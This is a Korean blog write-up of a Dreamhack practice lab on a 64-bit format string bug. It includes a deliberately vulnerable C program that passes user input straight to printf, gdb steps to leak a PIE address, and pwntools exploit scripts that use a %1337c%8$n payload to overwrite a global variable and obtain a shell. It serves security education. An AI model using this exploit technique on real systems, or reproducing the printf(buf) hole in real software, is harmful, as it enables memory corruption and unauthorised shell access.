본문 바로가기

Dreamhack/Lecture & Practice

[Practice] 64bit_FSB (Format String Bug)

1. Format String Bug (FSB)

2. 실습 코드

  • changeme의 값을 1337로 바꾸는 것이 실습의 목표이다.
// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

3. 코드 분석

  • get_string함수를 통해, buf에 32byte만큼 입력을 받아온다.
  • 입력값이 저장된 buf를 printf함수의 인자로 직접 사용하기 때문에, FSB취약점이 발생한다.
  • 보호 기법을 확인해보면, Canary를 제외한, 모든 보호 기법이 적용되어 있다.

4. 공격원리

(1) changeme 주소를 구한다.

  • 보호 기법에 PIE가 적용되어, 전역변수인 changeme도 실행할 때마다 주소가 변경된다.
  • PIE의 베이스 주소를 먼저 구하고, 이를 통해 changeme의 주소를 계산해야 한다.

 

(2) chageme의 값을 1337로 설정한다.

  • get_string으로 changeme의 주소를 스택에 저장하면, printf함수에서 1337byte의 문자열을 미리 출력하고 %n을 통해 changeme의 값을 조작할 수 있다.

 

5. 실습

5-1. changeme 주소 구하기

(1) gdb로, printf함수가 호출되는 부분에 break point를 설정한다.

 

(2) run명령어를 통해 프로그램을 실행하면, get_string함수에서 입력을 받은 후 break point에서 걸리게 된다.

      (입력값은 임의로 '12345678'을 넣어주었다.)

  • 결과를 확인해보면, [rsp + 16]에 0x555555554940이 들어있는 것을 볼 수 있다.
  • [rsp + 16]은 x64환경에서 포맷 스트링의 8번째 인자로, %8$p로 접근할 수 있다.

 

(3) vmmap 명령어를 통해 바이너리에 할당된 메모리를 확인해보면, [rsp+16]에 저장된 값과 PIE 베이스 주소의
      차이가
 0x940 임을 알 수 있다.

  • 즉, %8$p로 출력한 주소에서 0x940을 빼고, changeme의 오프셋을 더하면 changme주소를 구할 수 있는 것이다.

 

(4) 위 방식을 이용하여 스크립트를 작성하면, 아래와 같다.

from pwn import *

def success_print(n, m): return success(": ".join([n, hex(m)]))

p = process(b"./fsb_overwrite")
e = ELF(b"./fsb_overwrite")

p.sendline("%8$p")
leak_addr = int(p.recvline()[:-1], 16)
success_print("Leak Adress", leak_addr)


base_addr = leak_addr - e.symbols['__libc_csu_init']
changeme_addr = base_addr + e.symbols['changeme']
success_print("Base Address", base_addr)
success_print("Changeme Address", changeme_addr)

 

5-2. 1337 길이의 문자열 출력

  • changeme변수에 1337을 쓰려면, 1337 길이의 문자열을 먼저 출력해야 한다.
    하지만, 입력받는 길이가 0x20으로 제한되어있기 때문에 1337 길이의 문자열을 직접 입력할 수 없다.
  • 포맷 스트링의 width속성을 사용할 수 있다.
    이는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가한다. 

5-3. changeme를 1337로 덮어쓰기

#!/usr/bin/python3
from pwn import *

def success_print(n, m): return success(": ".join([n, hex(m)]))

p = process(b"./fsb_overwrite")
e = ELF(b"./fsb_overwrite")

# [1] Get Address of changeme
p.sendline("%8$p")
leak_addr = int(p.recvline()[:-1], 16)

success_print("Leak Adress", leak_addr)

base_addr = leak_addr - e.symbols['__libc_csu_init']
changeme_addr = base_addr + e.symbols['changeme']

success_print("Base Address", base_addr)
success_print("Changeme Address", changeme_addr)

# [2] Overwrite changeme
payload  = "%1337c" #1337만큼 문자열을 출력한다.
payload += "%8$n" #현재까지 사용된 문자열의 길이를 8번째 인자 주소에 작성한다.
payload += "A" * 6 #8의 배수를 위한 패딩한다.
payload2 = payload.encode() + p64(changeme_addr) #payload 16byte뒤에 changeme 변수의 주소를 넣는다.

p.sendline(payload2)
p.interactive()

 

'Dreamhack > Lecture & Practice' 카테고리의 다른 글

[Practice] Use After Free  (0) 2022.09.16
[Lecture] Use After Free  (0) 2022.08.20
[Lecture] Format String Bug (FSB)  (0) 2022.08.10
[Lecture] OOB (Out of bounds)  (0) 2022.08.09
[Practice] Hook Overwrite  (0) 2022.07.14